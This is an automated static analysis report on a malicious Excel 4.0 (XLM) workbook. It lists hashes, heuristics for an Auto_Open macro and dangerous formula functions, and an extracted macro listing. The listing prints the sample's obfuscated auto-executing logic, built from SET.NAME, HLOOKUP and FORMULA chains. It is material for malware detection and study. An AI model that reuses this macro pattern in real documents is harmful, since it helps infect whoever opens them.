Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 54ea2dc3af59d705…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:31:54 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 56ae5df244291a6fa0c01d8563b23542 SHA-1: 7cf116c16c051455a534a362aa8db5399a3b6fd8 SHA-256: 54ea2dc3af59d705a80a02e15d4ed0b849559ddd1a194d25c8e6824151a5a7c3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6462 bytes
SHA-256: de57ca1f33da5d11d42f4f69032ac6444f15a6b4dcf1ce5bb68a364d9ec291c0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hMRH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H179 
' 0018     26 LABEL : Cell Value, String Constant - CJUwNzKAXBZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - cqoivyTNQm len=0 
' 0018     21 LABEL : Cell Value, String Constant - DuBbyY len=0 
' 0018     25 LABEL : Cell Value, String Constant - GgqkjbLLlR len=0 
' 0018     23 LABEL : Cell Value, String Constant - hHkBGFEH len=0 
' 0018     24 LABEL : Cell Value, String Constant - HpmjfTPLY len=0 
' 0018     25 LABEL : Cell Value, String Constant - jYHEculrfy len=0 
' 0018     20 LABEL : Cell Value, String Constant - kSqwb len=0 
' 0018     25 LABEL : Cell Value, String Constant - kwMuWjQKok len=0 
' 0018     23 LABEL : Cell Value, String Constant - LUWbbHJG len=0 
' 0018     25 LABEL : Cell Value, String Constant - mnDUChMcAQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - oCexeOisJth len=0 
' 0018     26 LABEL : Cell Value, String Constant - OxLQhoKRhwK len=0 
' 0018     24 LABEL : Cell Value, String Constant - selZPjEhB len=0 
' 0018     23 LABEL : Cell Value, String Constant - SEPEaoKM len=0 
' 0018     20 LABEL : Cell Value, String Constant - SoByz len=0 
' 0018     22 LABEL : Cell Value, String Constant - swSXwng len=0 
' 0018     25 LABEL : Cell Value, String Constant - TNWyXOfuAJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - VszXl len=0 
' 0018     21 LABEL : Cell Value, String Constant - WTuLGm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hMRH,H87,"SET.NAME("SoByz",VALUE("0"))",""
'  hMRH,H92,"SET.NAME("TNWyXOfuAJ",SoByz)",""
'  hMRH,H95,"SET.NAME("WTuLGm",SoByz)",""
'  hMRH,H99,"SET.NAME("LUWbbHJG",COUNTA(DuBbyY))",""
'  hMRH,H103,"SET.NAME("swSXwng",COUNTA(cqoivyTNQm))",""
'  hMRH,H107,[],""
'  hMRH,H111,"SET.NAME("GgqkjbLLlR","")",""
'  hMRH,H115,"TNWyXOfuAJ",""
'  hMRH,H120,"SET.NAME("kwMuWjQKok",HLOOKUP("*",DuBbyY,TNWyXOfuAJ,FALSE))",""
'  hMRH,H125,"SEPEaoKM",""
'  hMRH,H130,"SET.NAME("OxLQhoKRhwK",SoByz)",""
'  hMRH,H132,[],""
'  hMRH,H135,"OxLQhoKRhwK",""
'  hMRH,H137,"kSqwb",""
'  hMRH,H139,"jYHEculrfy",""
'  hMRH,H141,"oCexeOisJth",""
'  hMRH,H143,"SET.NAME("HpmjfTPLY",VALUE(HLOOKUP("*",cqoivyTNQm,oCexeOisJth,FALSE)))",""
'  hMRH,H146,"mnDUChMcAQ",""
'  hMRH,H149,"GgqkjbLLlR",""
'  hMRH,H153,"WTuLGm",""
'  hMRH,H158,NEXT(),""
'  hMRH,H161,"hHkBGFEH",""
'  hMRH,H165,"SET.NAME("f",INT(T(FORMULA(T(GgqkjbLLlR)&"",""&T(hHkBGFEH)))))",""
'  hMRH,H170,"VszXl",""
'  hMRH,H173,NEXT(),""
'  hMRH,H175,RETURN(),""
'  hMRH,H202,"SET.NAME("CJUwNzKAXBZ",H87)",""
'  hMRH,H206,"DuBbyY",""
'  hMRH,H208,"SET.NAME("cqoivyTNQm",R72C14)",""
'  hMRH,H210,"SET.NAME("VszXl",219)",""
'  hMRH,H213,"SET.NAME("selZPjEhB",8)",""
'  hMRH,H218,CJUwNzKAXBZ(),""
'  hMRH,H219,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.